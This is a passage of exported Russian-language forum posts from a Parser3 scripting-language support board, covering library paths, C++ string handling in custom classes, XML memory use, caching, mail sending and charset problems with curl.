То в итоге получим 2 абсолютно одинаковые строки. Как правильно создать объект VString для возврата из метода?"
"72237","Но говоря очень серёзо\
можеть быть что завтра выйдёт 3.4.1 в которой (кроме мелких фиксов) будет встроён механизм добавляния ключей в хеш внутри метода foreach. Теперь не будет происходить ошибка [b]hash flocked[/b]\
\
[code]\
^something.foreach[key;value]{\
  $something.newkey[будет работать правильно]\
}\
[/code]"
"72238","[code]\
@smartForeach[hsh;key;value;code;separator][lkeys]\
  $lKeys[^hsh._keys[]]\
  $result[^lKeys.menu{$caller.[$key][$lKeys.key]$caller.[$key][$hsh.[$lKeys.key]]$code}{$separator}]\
[/code]\
И можете насоздавать ключей сколько угодно. \
\
Другое дело, что возможность добавлять/elfkznm ключи в хеше потенциально опасная, поэтому я бы не стал говорить о включении ее в базовое поведение."
"72239","Взял файлы из соответствующего раздела на сайте, но выдает ошибку \
[quote]driver failed to initialize client library 'libmysqlclient.so', can't open the module[/quote]\
В чем может быть проблема? \"can't open the module\" это означает что драйвер находит но не может его открыть, правильно? тогда как это исправить не понимаю... Подскажите пожалуйста :)"
"72240","Настроить пути к библиотеке можно в [url=http://www.parser.ru/docs/lang/parserconfmethod.htm]\"Конфигурационном методе\"[/url]"
"72241","Похожая проблема встречалась у меня уже, если не ошибаюсь. Пробовал это решать с помощью простого копирования libmysqlclient.so для Linux Debian 32bit в папку lib, и все работало нормально. Возможно и тут можно как-то так выйти из ситуации? А то к саппорту не просто  достучаться и получить вменяемый ответ..."
"72242","Да, можно найти на сайте mysql библиотеку под нужную ОС, положить на сервер и прописать в конфигурационном методе путь (или просто рядом положить с драйвером и не указывать путь). \
\
Или все-таки узнать у техподдержки путь к библиотеке на сервере."
"72243","мда... конечно, Вы полностью правы. Я вот попробовал поискать на сайт mysql коннектор, и насколько я понял он тут находиться http://www.mysql.com/downloads/connector/c/\
\
Только вот наверно его собирать нужно или чтото в этом роде? В архиве который скачал нет файла libmysqlclient.so, вернее есть, но он 0 КБ весит, а старый libmysqlclient.so больше 2 МБ\
\
Я на правильном пути или нет? \
\
ЗЫ Может кто встречал этот файл гдето, а то уж както сложно все выглядит..."
"72244","Получил от хостера путь к libmysqlclient.so и прописал его в конфигурационном методе таким образом:\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so\
}]\
]\
 но ошибка не изменилась, все по прежнему"
"72245","Т.е. 32-битный Парсер с 64-битной библиотекой работать не будет."
"72246","Выбираете FreeBSD и берете нужный tar.gz"
"72247","Есть ощущение, что проще все клиентские библиотеки mysql на http://parser.ru куда-нибудь все выложить, с делением на 32/64 проблема чаще возникать. Только надо удачное место найти. :)"
"72248","мда... помогло. Спасибо за подсказки :)"
"72249","Для FreeBSD 7 могу выгрузить для общественности, чтобы не искали снова. Только скажите куда :)"
"72250","Вот такой код в функцию NewLine вместо нормальной строки передает пустую строку!\
[code]\
$ModulePath[^Prime:GetModulePath[]\\УХОД.RES]\
$Line[^Prime:NewLine[$ModulePath][ПП_ПФ]]\
[/code]\
если делать так:\
[code]\
$ModulePath[^Prime:GetModulePath[]\\УХОД.RES]\
$ModulePath\
[/code]\
\
то выводится нормальное содержимое переменной. Что делать? проект горит. осталось 1.5 часа до сдачи"
"72252","Спасибо за срочность!\
Parser3\
[code]\
const String * Res = &params.as_string(0,\"No resource\");\
const String * Table = &params.as_string(1, \"Table name\");\
OType Obj = hNil;\
if(0==ObjTDInit(Res->cstr(), Table->cstr(),&Obj))\
	r.write_no_lang( *new VPrimeLine(Obj) );\
[/code]"
"72253","Если делать так:\
[code]\
$ModulePath[^Prime:GetModulePath[]]\
$Line[^Prime:NewLine[$ModulePath][ПП_ПФ]]\
[/code]\
То параметр верно переходит, но мне нужна конкатинация строк"
"72254","можно чуть проще:\
[code]\
r.write_no_lang(String(buffer));\
[/code]\
\
write_no_lang -- выданные данные будут \"чистыми\" (as-is).\
\
суть вашей проблемы я не понял (но вы по моему как-то и не особо старались её донести)"
"72255","я правильно понял, что вы в исходниках добавили свой собственный класс Prime и теперь одновременно отлаживаете и его и код на парсере? если да, то желаю удачи.\
\
если всё таки решите сначала разобраться с одним, а потом с другим, то приводите код отдельно. причем не выборочными кусками, а методами целиком.\
\
в приведённом куске я ошибок с передачей параметров не увидел. и ведь совсем несложно проверить отладчиком или выдать \"отладочный\" Exception.\
\
P.S. а вообще не очень понятно зачем вы пошли именно этим путём. неужели не получалось через exec или после тестирования это оказалось слишком медленным?"
"72257","Привет люди. Нужен скрипт блога на парсере. Вопрос: Попадет ли такой блог в индекс Яндекса и Гугла? Если кто-то готов заняться, напишите здесь свой контакт, и приблизительную цену"
"72259","Я читал, что например некоторые cms поисковик упорно отказывается НОРМАЛЬНО индексировать"
"72261","Отдаваемый XML имеет перед <?xml кучу пробелов при загрузке ^xdoc::load parser ругается.\
Можно ли обойти эту проблему способом кроме этого:\
[code]$sourceDoc[^file::load[text;http://book.teztour.com/book/vc/xml/reference?listName=countries&User-Agent=Tez_Script]]\
$buff[^sourceDoc.text.match[^^\\s*][g]{}]\
$sourceDoc[^xdoc::create{^taint[as-is][$buff]}][/code]\
запросов много и файлы не маленькие match подтормаживает :("
"72263","Спасибо!"
"72265","Настроил parser3 на хостинге R01 (http://hosting.r01.ru):\
Parser/3.4.0 (compiled on i686-pc-linux-gnu)\
\
Все работает. НО если открывать index.html, Parser не обрабатывает файл. Сравните:\
http://www.marazumova.ru/\
http://www.marazumova.ru/index.html\
\
В чем может быть проблема?\
\
В .htaccess'e:\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3/parser3.cgi"
"72267","Класс String и VString при создании не создают локальную копию переданной им строка, а просто получают указатель. Для корректной работы кода необходимо самостоятельно выделять область памяти для строки (GC_MALLOC_ATOMIC) и копировать содержимое (можно strcpy). ИНАЧЕ, при изминении содержимого переменной buffer меняется содержимое всех, созданных на основе buffer, строк типа String и, следовательно, VString, что собственно я и наблюдал.\
\
[code]\
char buffer[1024];\
\
static void _GetWorkSpace(Request& r, MethodParams& )\
{\
	::GetWorkSpace(0,buffer);\
	char * result = GC_MALLOC_ATOMIC(strlen(buffer)+1);\
	strcpy(result,buffer);\
	r.write_no_lang(String(result));\
}\
\
static void _GetPlanTitle(Request& r, MethodParams& )\
{\
	::GetPlanTitle(0buffer);\
	char * result = GC_MALLOC_ATOMIC(strlen(buffer)+1);\
	strcpy(result,buffer);\
	r.write_no_lang(String(result));\
}\
[/code]\
Если есть более простые конструкции, прошу в студию.\
Жду коментариев..."
"72268","К сожалению добавление своего класса - вынужденный ход. Программа, запускающая библиотеку, имеет при себе множество, специфических для сложной системы автоматизации, функций\
[code]\
GetModuleHandle(...)\
...\
GetProcAddress(...)\
[/code]\
, которые из соседнего процесса не получить (это, как минимум, попахивает внедрением в соседний процесс). Библиотека parser3isapi.dll, после небольшой доработки, является плагином для этой системы и, на основе заготовленных шаблонов, генерирует разного рода заключения и отчеты."
"72270","[code]\
char buffer[1024];\
\
static void _GetWorkSpace(Request& r, MethodParams& )\
{\
	::GetWorkSpace(0,buffer);\
	r.write_no_lang(String(pa_strdup(buffer)));\
}\
\
static void _GetPlanTitle(Request& r, MethodParams& )\
{\
	::GetPlanTitle(0,buffer);\
	r.write_no_lang(String(pa_strdup(buffer)));\
}\
[/code]"
"72272","Несомненно, 755 стоит."
"72273","по крайней мере в описании хостинга не нашел этого (смотрел не очень внимательно)"
"72274","Доступны, я же прописал parser как обработчик, также RewriteRule и ErrorDocuments — все доступно. Но, похоже, надо в службу поддержки писать.\
\
Странно явление. Значит, index.html при обращении к папке, например www.site.ru/catalog/, обрабатывается, а при обращении непосредственно к файлу www.site.ru/catalog/index.html — нет."
"72275","а то, что Апач не учитывает ваши файлы.\
\
Чтобы это проверить, сделайте внутри .htaccess намеренную ошибку. \
\
Если сервер ругнется, тогда точно в поддержку.\
\
Если нет, значит вам не доступны htaccess и возможно поддержка вас пошлет."
"72276","Сервер ругнулся... Пишу в поддержку. Спасибо!"
"72277","Прочитал тут, что в никсах можно *замаунтить* папку в память\
командой tmpfs ([url=\"http://kevin.vanzonneveld.net/techblog/article/create_turbocharged_storage_using_tmpfs/\"]тынц (инглиш)[/url]\
\
Кто-нибудь тестил производительность? Ежу понятно, что будет быстрее, чем обращения к ЖД.\
\
И ещё вопрос, есть ли смысл маунтить парсер на рамдиск (.cgi который) ?"
"72278","> lynx --mime_header http://www.marazumova.ru/ |head\
HTTP/1.1 200 OK\
Server: nginx/0.7.62\
Date: Mon, 05 Apr 2010 11:32:08 GMT\
Content-Type: text/html; charset=WINDOWS-1251\
Connection: close\
Content-Length: 3368\
\
Как вариант решения - например назвать парсерные файлы \
необычно (например .p3), добавив это расширение в .htaccess\
в том числе и в качестве \
DirectoryIndex index.p3\
\
Правильнее конечно, чтобы хостер у себя галочку поставил. Хостера можно понять, борется за уменьшение нагрузки на сервера, но это конкретная \"подстава\". Например получается, что при доступе к статике точно также не будут работать ограничения доступа, прописанные в .htaccess..."
"72279","Все прекрасно работает в IE, Chrome, Opera. А вот файрфокс появляет оконный вертикальный скролл.\
Как научить FF делать то что мне нужно? А именно: не появлять в моём примере оконные скролы. Нужен только вертикальный скролл на DIV-е.\
\
Код:\
[code]\
<html> \
<body> \
<table width=100% height=100% border=1><tr><td height=200px> \
верхний\
</td></tr> \
<tr><td> \
<div style=\"width:100%;height:100%;overflow-y:scroll\"> \
куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста \
...\
куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста куча текста \
</div> \
</td></tr> \
<tr><td height=100px> \
низ\
</td></tr> \
</table> \
</body> \
</html>\
[/code]\
\
Вот работающий пример: http://shape.com.ua/div.html (сожмите окошко по-вертикали чтоб появился скролл на DIV-е)\
\
p.s. Даже не представляю как это сделать вообще без таблицы?"
"72280","Требования:\
\
Parser, MySQL, XML/XSL, умение пользоваться *nix'ом - обязательно\
JavaScript, HTML,CSS - желательно\
\
Фултайм в офис в Москве (м. Алексеевская).\
Чай, кофе, какао, сахар, печенье предоставляется.\
\
Согласимся на стажера за 50-66 процентов от полной зарплаты с перспективой повышения до полной. \
Писать на elik где-то на madgroup.ru"
"72282","Тут вопрос не в том как сделть скролл в принципе. Если поставить на моем div-е высоту, скажем 200px - все работает, скролл есть. Вопрос в том, как заставить FF показывать scroll при высоте DIV-а 100%"
"72283","Только что обновил Parser с версии 3.1.6 до 3.4.0 на 2 сайтах и обнаружил, что на обоих перестал работать параметр bKeepRatio у nconvert.\
\
Это глюк парсера, нконверта или меня?"
"72284","Что выигрыш получится значительный. Во-первых современные ОС очень хорошо умеют кешировать дисковые операции, во-вторых в работе Парсера чтение файлов с диска - это не самый длинный из этапов работы скрипта. Но, да, какой-то выигрыш получите."
"72285","Это нормально?\
Я просто пробегаюсь по нодам...\
\
[code]\
$curnode[^d.getElementsByTagName[$nodename]]\
^for[i](0;$curnode-1){^void:sql{insert....}}\
[/code]"
"72286","Но памяти при построении DOM-дерева действительно тратится не мало."
"72287","в парсере специально передачу параметра bKeepRatio не запрещали :)\
\
насколько я помню, в классах от Den Kulikoff была ошибка, и как раз с этим параметром. но вы не показываете код, не сообщаете что вы используете, поэтому ничего вразумительного вам подсказать невозможно."
"72288","скорее всего память тратится при создании дерева и при getElementsByTagName. при этом, когда я игрался с беганьем по элементам DOM-ом (firstChild, nextSibling), то её тратилось меньше. однако случаи разные бывают и насколько в вашем случае легко/сложно это реализовать я не знаю.\
\
ну и в начале по любому измерьте отдельно create и getElementsByTagName."
"72289","нет, не спасает... Я его использую"
"72290","[code]\
@xml2sql[filename;tablename;nodename;fields]\
\
^if(^filename.match[http]){\
$d[^file::load[text;$filename;$.timeout(300) $.any-status(1)]]\
^if($d.status == 301){$d[^file::load[text;^untaint{$d.LOCATION};$.timeout(300) $.any-status(1)]]}\
$d[^xdoc::create{^untaint{$d.text}}]\
}{$d[^xdoc::load[$filename]]}\
\
$curnode[^d.getElementsByTagName[$nodename]]\
\
^for[i](0;$curnode-1){^sql_add_delayed[$tablename;^fields.foreach[a;b]{$.[$a][^if(^b.match[^^_]){^b.match[^^_][g]{}}{^curnode.$i.getAttribute[$b]}]}]}\
[/code]\
\
Вот, если в деталях...\
\
На вход поступает XML 800 кб, все данные зашиты в аттрибуты, поля длинна короткая:\
[code]\
<item artid=\"010019\" dt=\"3\" eancode=\"0743212478624\" eanpref=\"true\" fr=\"100\" frdttype=\"2\" listprice=\"4.99\" maxbo=\"30\" mech=\"0.00\" stock=\"0\"/>\
[/code]\
\
Что можно оптимизировать?"
"72291","Что память расходуется не сразу а по мере прохождения по нодам."
"72293","Про xdoc::create - http://www.parser.ru/forum/?id=70366\
Видно, что не так он много и ест (~1:10 к размеру xml).\
\
В целом задача у вас простая - надо потихоньку выкидывать\
команды из цикла и смотреть, как это влияет на память, чтобы\
понять, что именно ее потребляет.\
\
Может вам это поможет\
\
\"\
Системная переменная: result, явное определение   [3.1.5]\
Если в методе явно объявить локальную переменную result, это укажет Parser, что нужно проигнорировать все пробельные символы и считать ошибочными любые не пробельные символы, если их явно не присваивают переменной result. \
\"\
\
Вообще странно, что ^memory:compact[] в цикле не помогает.\
Note: он работает ~0.01 sec, поэтому правильнее использовать\
http://www.parser.ru/examples/erusage/"
"72294","xml для таких объемов - нехорошо\
\
Судя по контексту нужно данные положить в базу.\
Если так, то лучше:\
1. проматчить строку и забить на xml\
2. построить sql запросы обработав через xslt\
\
Второй вариант скорее всего будет такой же прожорливый, но вот первый - 100% сработает быстрее и отъест меньше.\
\
P.S. когда-то пользовался первым методом для обработки 1,5 Мб xml из 7000 записей."
"72295","оптимизировать нужно то, что требует оптимизации.\
для начала нужно измерить, что потребляет память.\
\
P.S. но вообще говоря, когда я давным давно решал аналогичную задачу (с чуть большим файлом), я в конце концов решил:\
- отказаться от парсинга xml (разобрал его match-ами на perl)\
- отказаться от кучи insert в цикле (генерил sql файл и затем load data infile)"
"72296","Помогло.\
\
[code]\
^for[i](0;$curnode-1){\
\
^if(!($i % 100)){^memory:compact[]}\
\
^sql_add_delayed[....\
[/code]\
\
Я не туда его тулил... Спасибо. Уже гораздо легче. Памяти юзается 60 Мб."
"72297","Весьма полезное замечание.\
Мне на прошлой задаче с 100Мб-ными XML файлами пришлось прогу написать на паскале xml2sql :) Парсеру никак памяти не хватало... А производительность..."
"72298","Спасибо... Напишу-ка я @xml2sql на match-ах :)"
"72299","[quot]\
Системная переменная: result, явное определение [3.1.5]\
Если в методе явно объявить локальную переменную result, это укажет Parser, что нужно проигнорировать все пробельные символы и считать ошибочными любые не пробельные символы, если их явно не присваивают переменной result. \
[/quot]\
\
Не совсем понял... Этот метод не возвращает данных... Он просто обрабатывает XML и засовывает данные в SQL. На экран выводить нечего.\
\
Возможно нужно использовать $result[]? Это имеется ввиду?"
"72300","а модуль апача. Тогда выигрыш получите точно, особенно при работе с XSLT. Ещё кешируются драйверы для БД и само соединение с базой."
"72303","Не уверен, что этот случай, но недавно наступил на ошибку в классе [b]Img.p[/b] в методе [b]@watermark[][/b] (строка 215) — там лишняя \"]\" в конце стоит."
"72304","Может быть что вам понравиться [url=\"http://cms.forjesus.eu\"]моя цмска[/url]"
"72305","Просто я замахнулся писать мегакласс с дефолтными данными и так далее :)"
"72306","Подключается так:\
[code]\
^use[NConvert.p]\
$oImg[^NConvert::create[\
  $.sScriptPath[/../cgi-bin]\
  $.sScriptName[nconvert]\
]][/code]\
\
Используется так:\
\
[code]^oImg.resize[/pic/catalog/temp.jpg;/pic/catalog/small/${last_id}.jpg;150;;$.bKeepRatio(1)][/code]"
"72307","а как вы эту-же проблему решили [url=\"http://www.parser.ru/forum/?id=71351\"]прошлый раз[/url]?"
"72308","[code]$photo[^image::measure[/pic/catalog/temp.jpg]]\
$k[^eval($photo.width / $photo.height)]\
$width[150]\
$height[^eval($width * $k)]\
^oImg.resize[/pic/catalog/temp.jpg;/pic/catalog/${last_id}.jpg;$width;$height;$.bKeepRatio(1)]\
[/code]\
\
Но в тот раз я подумал что проблема в хостере или ОС."
"72309","Прошу разъяснить крупными мазками как мне организовать парсинг текстового файла - никогда этим не занимался.\
Подробнее:\
Исходные данные: Текстовый файл содержащий от 80 до 150 страниц текста, каждая где-то по 2500 символов.\
На каждой странице есть строчка, которая мне нужна, остальное надо отбросить. В начале нужной строки и в ее конце есть совершенно определенный текст, всегда одинаковый, по которому возможно вести поиск.\
Прошу подсказать в общих чертах как выдернуть необходимые строки, отбросив все \"лишнее\".\
Заранее спасибо за ответ."
"72311","То есть нормально будет считать весь этот файл как строку и по ней match-ить?\
В принципе запрос выполняется на локальной рабочей станции."
"72313","Хочу уточнить по синтаксису команды. \
Можно ли использовать несколько опций поиска и как это записать?\
то есть мне бы надо и x (игнорировать white space) и '\
\
так? $mtc[^str.match[(строка)][x][']]\
или перечислить через ; ?"
"72316","в общем есть переменная типа\
$hParams.realEstateTypeName_n\
где n меняется\
надо бы добраться до $hParams.realEstateTypeName_1\
но, n берется из $language.languageId\
в данный момент работает только если сделать\
$i[$language.languageId]\
$hParams.realEstateTypeName_$i\
если сделать \
$hParams.realEstateTypeName_$language.languageId\
лабуда\
если ставить \
$hParams.realEstateTypeName_${language.languageId}\
syntax error, unexpected '{', expecting STRING\
или\
$hParams.realEstateTypeName_$[language.languageId]\
syntax error, unexpected '[', expecting STRING [parser.compile]"
"72317","а вообще про это есть в FAQ-е"
"72319","Задача такая. Есть база пользователей. По ней надо осуществлять поиск. Но проблема состоит в том, что сортировку надо производить по полю времени последнего действия на сайте. Т.е. по очень быстро изменяющемуся полю. \
Все было бы хорошо, если бы результатов было мало. Моментный снимок состояния и все. Но результатов может быть много, т.е. надо разультаты бить на страницы. И получается, что при переходе на другую страницу, новым запросом с другими лимитами-оффсетами достаются данные, но за это время они могу уже перемешаться и смысла в разбиении на страницы не будет. \
Как обойти эту ситуацию? Может сначала для скроллера доставать таблицу id, где-то ее на время жизни этого запрос хранить и при обращении к страницам сроллера далать запрос уже типа where id in (...)? \
Но никак не могу придумать как это организовать?"
"72320","... или, если уж так хочется пейджинг использовать, выводить сразу сотню результатов - сомневаюсь, что кому-то понадобится лезть во вторую сотню."
"72321","Создавать в базе временные таблицы, результаты поиска селектить в них (insert into ttt select * from yourtable)\
И убивать её через 20 мин или 21 минуту, где-то так :)"
"72322","Как можно реализовать отправку письма при нажатии на ссылку. Причем нужно ввести только адреса адресатов (остальные данные жестко закодированы)?"
"72324","как то совсем непонятно :(. Может есть где-то описание для чайников?\
Вот пример:\
^if($edit){\
# запись из базы\
    $record[^table::sql{… where id=…}]\
}{\
# новая запись, ошибка при заполнении, необходимо вывести \
# поля формы\
    $record[$form:fields]\
}\
<input name=\"age\" value=\"$record.age\" />\
\
откуда здесь $edit? что оно означает?"
"72325","В пятом уроке есть пример обработки форм, но лучше начните чтение с первого урока - будет легче."
"72326","http://phoneme.livejournal.com/979264.html - мож кому пригодится"
"72327","Подскажите пожалуйста как решить проблему. Я использую парсер для вормирования текстовых файлов, но он кушает все пробелы и табуляции. Где подправить исходный код чтобы между функциями и переменными пробелы, табуляция и переносы строк сохранялись?\
Где ковырять compile.y или compile.tab.c? подскажите пожалуйста.\
Спасибо!"
"72328","вроде что-то написал :). В коде метод mail:send отрабатывает, но адресат не получает письма. Как можно проверить результат действия метода mail:send?\
Есть ли где-нибудь работающий пример отправки сообщения? Или просто любой пример? то что в уроках - не работает :( (долго грузиться страница, но ничего не происходит)"
"72329","парсер занимается оптимизацией пробельных символов в самом конце, перед выдачей результата.\
\
во время выполнения кода все пробельные символы на месте и ковырять compile смысла нет.\
\
смотреть надо в untaint.C на L_OPTIMIZED (если я ничего не путаю). что именно нужно для этого править -- я без понятия, т.к. у меня такой задачи никогда не стояло, ибо оптимизация это хорошо, imho."
"72330","именно в этом файле есть функция cstr_to_string_body_block\
там есть\
[code]\
bool optimize=(to_lang & String::L_OPTIMIZE_BIT)!=0;\
[/code]\
заменил на\
[code]\
bool optimize=false;//(to_lang & String::L_OPTIMIZE_BIT)!=0;\
[/code]\
получилось то что надо!"
"72331","... то используйте postprocess:\
[code]\
@postprocess[body]\
  $result[^taint[as-is][body]]\
[/code]\
http://www.parser.ru/docs/lang/mainclass.htm"
"72332","Сделал простейшую страницу с отправкой почты, с методом:\
^mail:send[ \
      $.from[<alexnikit1@rambler.ru>] \
      $.to[<alexnikit@rambler.ru>] \
      $.subject[как дела] \
      $.text[Как у тебя дела? У меня - изумительно!] \
\
Но письма не отправляются. Может нужны еще какие-то настройки на сервере?"
"72337","Собсно вопрос актуален, когда на сайте в онлайне сотни авторизованных юзеров.\
\
Без кеширования, при каждом обновлении страницы авт.юзером дергается база - таблица сессий, юзеров, рейтинга etc.\
\
Если кешировать, то, а так понимаю, нужно периодически кроном чистить неактуальные файлы кеша?\
(т.е. селектить таблицу сессии, если юзер не последний раз был более, скажем, суток назад - удалять кеш)\
\
В правильном направлении копаю?"
"72338","скорее всего разница в производительности от этого -- копеечная.\
\
мне непонятно для чего вообще совершать эти телодвижения. \
вот выйдет новая версия парсера с новыми фичами и подправленными багами, и обновиться на неё вам будет существенно сложнее, чем другим.\
\
ладно я ещё могу понять ваше предыдущее объяснение по встраиванию чего-либо, но тут... в общем не понять мне вас :)"
"72339","ну вообще говоря sql сервера с нормальной организацией способны выдержать довольно большое количество обращений.\
\
если вы начнёте кешировать в файликах, то вся эта нагрузка ляжет на файловую систему. плюс может возникнуть проблема блокировок (особенно если кешировать будете в hashfile-е).\
\
=> кеширование следует продумывать.\
например, кешировать содержимое страницы авторизиванного пользователя с большой вероятностью незачем, т.к. не будет он её перегружать 10 раз подряд, а никому больше её не покажешь.\
\
часто на сайтах бывает довольно статический контент (например статьи) + блок авторизации (уникальное для пользователя) + например комментарии к статьям. очень разумно скешировать статику, а персональные данные добавлять потом в готовую страницу. ну а сам механизм добавления комментариев сделать на ajax.\
\
ещё можно попробовать скешировать \"общие\" _данные_, как например местная статистика сообщений под поиском. т.е. кусочки, из которых будет строится страница.\
при этом очень желательно, чтобы система не требовала периодического дёрганья рычагов.\
\
в любом случае, если речь идёт о сильно нагруженном сайте надо не забыть о кеширующей проксе и вынесении куда-либо статических файлов (картинки, js, css, zip...)\
\
итого: одного решения на все случаи жизни не существует."
"72340","Статика вынесена на фронтэнд - nginx.\
\
Основной блок кешируется (статьи, комментарии)\
\
Блок юзера на каждой странице содержит имя, личный сообщения.\
\
[quote]если вы начнёте кешировать в файликах, то вся эта нагрузка ляжет на файловую систему. плюс может возникнуть проблема блокировок (особенно если кешировать будете в hashfile-е).[/quote]\
А если вынести папку кеша сессий юзеров в память? (tmpfs)\
Если память *вдруг* обнулится (ну там, рубильник выключат ;-)\
При заходе сессия никуда не теряется, просто заново кеш создаётся.\
\
В целом, сейчас нагрузки вообще никакой нет. Но всё-таки хотелось бы сделать минимум нагрузки на парсер и дб."
"72341","у SQL сервера тоже есть кеш. может не городить огород, а воспользоваться им? :)\
\
например запрос по доставанию данных о сессии по уникальному ключу и пользователя по id будут выполнятся мгновенно, и для активных пользователей всё это будет сидеть в кеше SQL сервера, который сам будет следить за его актуальностью.\
\
простые запросы типа получения всех групп пользователей (если их не тысячи) -- тоже будут \"летать\". т.е. я виду смысл только в кешировании чего-либо комплексного."
"72343","Парсер подходит под задачу на 99%. Обновлять я врятли что буду, очень мало вероятно. Самому писать \"колесо\" - много времени надо. Парсер генерирует текстовые отчеты в соответствии с шаблонами. Веселее будет, когда потребуется тоже самое, только с WinWord или Excel :-)"
"72344","Друзья, по независящим от меня причинам приходит GET такого вида:\
\
[i]... ?variable[1]=1&variable[2]=2...[/i]\
\
далее мне нужно из этих значений создать хеш, причем ключ должен называться точно так же как в запросе: [i]variable[1][/i] и т.д.  И конечно же такой вот способ не работает:\
\
[code]$file[\
$.variable[1][$form:variable[1]]\
$.variable[2][$form:variable[2]]\
.....\
][/code]\
\
Экранирование квадратных скобок ^ птичкой не помогает. ^#091 и ^#093 (ASCII символы квадратных скобок) тоже не получается. Как еще можно обойти эти спецсимволы?"
"72346","Конечно же первым делом смотрел и FAQ, и документацию.\
\
Вот что получается:\
запрос [i]...?variable[1]=45[/i]\
\
код Parser\
\
[code]$form:variable^[1^][/code]\
\
выдает результат \"[1]\", а не \"45\", как того хотелось. Версия Parser 3.4"
"72347","запрос: ?variable1=45\
\
парсер:\
[code]$form:variable1[/code]\
выдаст 45"
"72348","Все правильно. А вот на ?variable[b][[/b]1[b]][/b]=45\
\
парсер\
\
[code]$form:variable^[1^][/code]\
\
выдает [1]?"
"72351","А можно ли подобным образом вызвать метод статического класса, имя которого (класса) находится в переменной? (Я так понимаю, что [code]reflection[/code] только с объектами работает?)"
"72352","Возможно Вы имели ввиду метод reflection:create, который действительно умеет создавать именно объекты из классов.\
\
Если вам нужно позвать что-то хитрое, то для этого в парсере есть [url=http://www.parser.ru/docs/lang/opprocess.htm]метод process[/url]."
"72353","Вопрос такой:\
в приложении менеджер MySQL (писал не я) нужно выполнить запрос:\
Update menu_ru set link='123/123' where id=63\
но приложение выдает ошибку:\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\'123/123\\' where id=63' at line 1\
(я так понимаю ошибка вызывается в библиотеке парсера). \
Как правильно сделать запрос?"
"72354","[quote]\
я так понимаю ошибка вызывается в библиотеке парсера\
[/quote]\
\
неправильно понимаете. ошибку вернут sql сервер.\
скорее всего вам надо читать про taint/untaint и понять что происходит с запросом.\
\
\
[quote]\
Как правильно сделать запрос?\
[/quote]\
\
приветите код.\
\
P.S. следующие дублирующиеся вопросы или вопросы совершенно без деталей я буду просто удалять."
"72355","1. в приведённом коде синтаксическая ошибка\
2. sendmail (или почтовый сервер в случае win32) должен быть в состоянии отправить это письмо. очень часто письмо не будут отправлять при абстрактном адресе в поле from. очень часто там должен быть указан адрес с обслуживаемым доменом и только. т.е. если вы написали такой простой код, обратились к странице, а письмо не отправилось -- идите читать про установленный у вас sendmail и его ограничения."
"72356","Код запроса: Update menu_ru set link='123/123' where id=63\
\
Код менеджера SQL привести не могу, у меня нет исхоников"
"72357","Можно предложить заменить одинарные кавычки на двойные, но шансов мало - видимо проблема в самом коде менеджера."
"72358","пробовал много вариантов, скорее всего так и есть"
"72359","Что бы это могло быть?\
Передаю методу в качестве параметра $.name[$form:name] ... \
$form:name определен...\
Ошибка появилась при переходе на версию 3.4.0 (freebsd 7)"
"72361","[code]$file[^file::load[text;http://www.parser.ru/;\
   $.timeout(5)\
]]\
[/code]\
\
У меня код из примера выдает ошибку:\
\
load\
\
can not resolve hostname \"www.parser.ru\"\
\
&#3659;Ошибка возникала при указывании другого сервера, но попробовав пример из документации с сервером parser.ru я решил обратиться за помощью. Отчего я не могу ничего загрузить таким способом? Таймаут пробовал увеличивать - непомогло."
"72363","Т.е. на моем сервере? Я проверял код с разных компьютеров. \
Почему в механизме загрузки файла проблема упирается в DNS? Особенность Парсера?\
Обойти это никак нельзя?"
"72364","не могу понять, что я делаю не так, читаю доки но чо то не допирает до меня\
[code]^if(def $hParam.fields.[right_[$direction]_[$type]]){$cheked(1)}{$cheked(0)}[/code]\
всегда возвращает 0\
смотрю фак и вижу\
[code]$caller.$value[$h.[$tkey.key]][/code]\
не понимаю логики, хоть ты тресни."
"72365","для начала, попробуйте пинг пустить с консоли того сервера."
"72366","$hParam.fields.[right_[$direction]_[$type]]\
=>\
$hParam.fields.[right_${direction}_$type]\
\
[] -- для ограничения имени поля, а не его кусочка.\
для ограничения символов для имени переменной надо использовать {}\
\
т.е. {} у direction вы ставите, чтобы парсер понял, что символ подчеркивания уже не относится к имени переменной (без этого он пытается взять значение переменной с именем 'direction_<тут_значение_переменной_type>'\
у type скобки ставить не обязательно, т.к. _дальше_ идёт символ ']', который воспринимается как разделитель. \
хотя написать фигурные скобки можно (но не нужно)."
"72367","в [url=\"http://www.parser.ru/docs/lang/?filecgiexec.htm\"]документации[/url] сказано:\
\
[quote][b]Формат[/b] - формат представления получаемых от скрипта данных. Может быть text (по умолчанию) или binary. При использовании формата binary не будут производиться перекодирования полученных данных в кодировку [b]$request:charset[/b] и их обрезания по первому нулевому символу.[/quote]\
означает ли это, что если я укажу [b]text[/b], то ответ перекодируется в [b]$request:charset[/b]?\
\
проблема в следующем:\
в [b]$request:charset[/b] и [b]$response:charset[/b] у меня UTF-8.\
\
пытаюсь через curl загрузить сайт в кодировке windows-1251.\
[code]$args[^table::create{argument}]\
^args.append{http://www.parser.ru}\
^args.append{-i}\
$file[^file::exec[text;/path/to/curl;;$args]][/code]\
в $file.text находятся данные в WINDOWS-1251.\
\
если же указать явно:\
\
[code]$file[^file::exec[text;/path/to/curl;$.charset[windows-1251];$args]][/code]\
то $file.text в UTF-8\
\
Пока работает только способ типа:\
[code]\
$file[^file::exec[text;/path/to/curl;;$args]]\
^file.text.save[/tmp.txt]\
$file[^file::load[text;http://$env:SERVER_NAME/tmp.txt]]\
[/code]\
тогда в $file.text попадают данные в UTF-8, но использовать такой способ не очень бы хотелось.\
\
Передавая параметр \"--i\" в curl вместе с текстом я получаю ответ сервера:\
[code]HTTP/1.1 200 OK\
Date: Fri, 09 Apr 2010 22:12:28 GMT\
Server: Apache/1.3.37 (Unix)\
Content-Length: 21188\
Connection: close\
Content-Type: text/html; charset=WINDOWS-1251[/code]\
который могу проматчить и получить кодировку сервера, НО, если в тексте страницы присутствуют русские буквы в кодировке, отличной от UTF-8 получается ошибка [i]UTF-8 validation failed during pcre_exec (-10).[/i]\
\
